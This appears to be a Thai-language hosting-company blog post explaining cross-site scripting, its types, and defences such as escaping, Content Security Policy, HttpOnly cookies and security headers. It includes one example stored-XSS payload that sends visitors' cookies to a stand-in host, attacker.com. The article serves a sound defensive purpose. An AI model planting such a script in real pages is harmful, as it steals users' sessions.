XSS (Cross-Site Scripting) คืออะไร? วิธีป้องกันและตรวจจับสคริปต์ปลอมบนเว็บ

XSS (Cross-Site Scripting) คืออะไร?

XSS (Cross-Site Scripting) คือการโจมตีความปลอดภัยที่ผู้โจมตีแทรก JavaScript อันตรายเข้าไปในหน้าเว็บ เมื่อผู้ใช้งานเข้าชมหน้าเว็บนั้น Script จะทำงานบนเบราวเซอร์ของผู้ใช้ ซึ่งอาจนำไปสู่การ ขโมย Cookie, Session Token, ข้อมูลส่วนตัว หรือดัดแปลงเนื้อหาในหน้าเว็บได้ XSS ติดอยู่ในรายชื่อ OWASP Top 10 อันตรายมาหลายปีแล้ว

ประเภทของการโจมตี XSS

ประเภทคำอธิบายความอันตราย
Stored XSSScript ถูกบันทึกในฐานข้อมูล และแสดงผลทุกครั้งที่ผู้ใช้โหลดหน้าเว็บสูงมาก
Reflected XSSScript อยู่ใน URL และถูกส่งกลับมาในการตอบสนองจากเซิร์ฟเวอร์สูง
DOM-based XSSScript ถูกประมวลผลผ่านโค้ด JavaScript ในเบราวเซอร์โดยตรงสูง
Self-XSSผู้โจมตีหลอกลวงให้เหยื่อรันสคริปต์ด้วยตัวเองผ่าน Browser Consoleปานกลาง

ตัวอย่างการโจมตี Stored XSS

หากเว็บไซต์ไม่ทำการ Escape HTML ก่อนแสดงความเห็น ผู้โจมตีอาจโพสต์ความเห็นดังนี้:

<script>
document.location='https://attacker.com/steal?c='+ document.cookie;
</script>

// เมื่อผู้ใช้อื่นเข้ามาดูหน้าที่มีความเห็นนี้
// Script จะทำงานทันที และส่ง Cookie ไปยัง attacker.com

วิธีป้องกัน XSS อย่างมีประสิทธิภาพ

1. Escape Output ทุกครั้งก่อนแสดงผลใน HTML

แปลงอักขระพิเศษของ HTML ให้เป็น Entity เช่น < เป็น &lt; ก่อนแสดงผล กรอบ Framework สมัยใหม่จึงใช้ innerHTML หรือ dangerouslySetInnerHTML ควรใช้ textContent แทน

// JavaScript - วิธีอันตราย (ห้ามใช้)
document.getElementById('div').innerHTML = userInput;

// JavaScript - วิธีปลอดภัย
document.getElementById('div').textContent = userInput;

// PHP - วิธีถูกต้อง
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

2. ตั้งค่า Content Security Policy (CSP)

CSP เป็น HTTP Header ที่บอกเบราวเซอร์ว่าสามารถโหลด Script จากที่ใดได้บ้าง วิธีนี้ช่วยป้องกัน XSS ได้อย่างมีประสิทธิภาพ

# Nginx - ตั้งค่า CSP อย่างเข้มงวด
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-random'; style-src 'self'; img-src 'self' data:;" always;

# Apache
Header always set Content-Security-Policy "default-src 'self'; script-src 'self';"

3. ใช้ HttpOnly และ Secure Flag สำหรับ Cookie

HttpOnly Flag ป้องกันไม่ให้ JavaScript สามารถเข้าถึง Cookie ได้ ซึ่งช่วยลดความเสี่ยงของการ Cookie Theft จากการโจมตี XSS ได้อย่างมีนัยสำคัญ

// ตั้งค่า Cookie ที่ปลอดภัย
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

// PHP
setcookie('session', $value, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);

4. Validate และ Sanitize Input ฝั่ง Server-Side

อย่าเพิ่งพึ่งพา Client-Side Validation เพียงอย่างเดียว เพราะผู้โจมตีสามารถบายพาส JavaScript Validation ได้ ควรใช้ไลบรารีเช่น DOMPurify หรือ HTMLSanitizer API สำหรับการทำความสะอาด HTML ที่รับเข้ามา

5. ติดตั้ง X-XSS-Protection Header

# Nginx
add_header X-XSS-Protection "1; mode=block" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;

# Apache
Header always set X-XSS-Protection "1; mode=block"
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "SAMEORIGIN"

เครื่องมือตรวจสอบช่องโหว่ XSS

  • OWASP ZAP: เครื่องมือสแกน Web Security แบบฟรี ที่มีความสามารถสูง
  • Burp Suite: เครื่องมือ Penetration Testing ยอดนิยม ใช้สำหรับค้นหาช่องโหว่ XSS เชิงลึก
  • XSStrike: เครื่องมือ Open Source เฉพาะด้านสำหรับค้นหาช่องโหว่ XSS
  • Nuclei: เครื่องมือสแกนช่องโหว่อัตโนมัติ ใช้ Template ที่หลากหลาย

ความสำคัญของการป้องกัน XSS บนแพลตฟอร์มคลาวด์

สำหรับผู้ที่ใช้บริการ Cloud VPS ของ Dot Enterprise คุณสามารถตั้งค่า Web Server ด้วย Nginx หรือ Apache และเพิ่ม Security Headers เหล่านี้ลงไปได้อย่างง่ายดาย บริการ Cloud VPS ให้คุณควบคุม Server ทั้งหมด ทำให้คุณมีความยืดหยุ่นสูงสุดในการป้องกัน XSS

สรุป

XSS เป็นประเภทของการโจมตีที่อันตรายมาก ส่งผลกระทบต่อผู้ใช้งานโดยตรง การป้องกันที่ดีที่สุดคือการผสมผสานหลายวิธี ได้แก่ การ Escape HTML Output ทุกครั้ง การตั้งค่า Content Security Policy ใช้ HttpOnly Cookie Flag และการตรวจสอบระบบอย่างสม่ำเสมอด้วยเครื่องมือเช่น OWASP ZAP จะช่วยให้เว็บแอปพลิเคชันของคุณปลอดภัยจากการโจมตี XSS ได้อย่างมีประสิทธิภาพ